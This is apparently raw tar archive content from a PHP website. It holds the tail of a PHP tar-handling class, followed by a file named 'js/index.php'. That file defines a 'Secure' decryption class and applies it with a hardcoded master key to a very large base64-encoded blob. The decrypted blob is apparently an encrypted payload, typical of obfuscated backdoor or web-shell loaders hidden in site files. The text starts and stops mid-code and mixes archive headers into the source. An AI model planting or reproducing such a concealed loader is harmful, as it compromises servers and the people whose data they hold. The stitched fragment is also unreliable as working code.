$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
else $header['filename'] = $path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').' '.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->errors[] = __('Cannot write to file').' '.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) != $header['size']) {
$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').' '.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').': '.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));
$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['checksum'] = OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0)) return true;
$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0;
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['user_id'] = OctDec(trim($unpack_data['user_id']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result : '');
}
} else $result = '';
return $result;
}
}
?> js/index.php 0000644 00000121007 15250667047 0007015 0 ustar 00 masterKey = $masterKey;
}
public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}
private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);
return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}
private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}
public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}
public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('PG0wiDoJHZ8mpwVHuBKwcmPMKkKhtsz3');
$str = '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